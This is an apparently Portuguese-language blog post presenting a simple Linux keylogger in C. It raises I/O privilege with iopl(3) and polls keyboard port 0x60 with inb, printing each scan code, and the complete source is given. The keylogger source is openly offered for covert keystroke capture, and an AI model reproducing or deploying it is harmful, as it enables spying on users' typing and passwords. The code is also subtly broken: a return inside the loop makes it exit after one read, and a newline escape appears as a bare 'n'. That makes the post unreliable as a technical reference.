Bem,
andei dando uma pesquizada em keyloggers para linux e achei programinhas interessantes.
O objetivo de um keylogger é capturar todas as teclas digitadas. Tudo isso para ter bom um monitoramente do computador.
O keylogger aqui apresentando fica "pegando" os valores que é passado na porta do teclado.
Bem a porta que o teclado utiliza é a porta 0x60, no arquivo /proc/ioports você consegue visualizar todas as portas abertas, por isso declaramos porta como 0x60.
int porta = 0x60; |
Depois criamos um loop infinito para pegar todo que é passado na porta, logo em seguinda mudamos o nível de privilégio do processo atual, com a função iopl, para o nível mais alto. Com isso ganho acesso irrestrito a qualquer porta.
iopl(3); |
Logo em seguinda usamos a função inb que pega o valor da largura de um byte e é colocado em c.
c = inb(porta); |
Aqui apenas imprimo o valor da tecla.
printf("key=%d n", c); |
usleep(1000); |
O código completo.
//Teste keyloger #include <stdio.h> #include <sys/io.h> int main() { unsigned char c; int porta = 0x60; while(1) { iopl(3); c = inb(porta); printf("key=%d n", c); usleep(1000); return(0);} } |
Como podemos ver esse tipo de keylogger é algo bem simples...
Abaixo alguns links de keyloggers.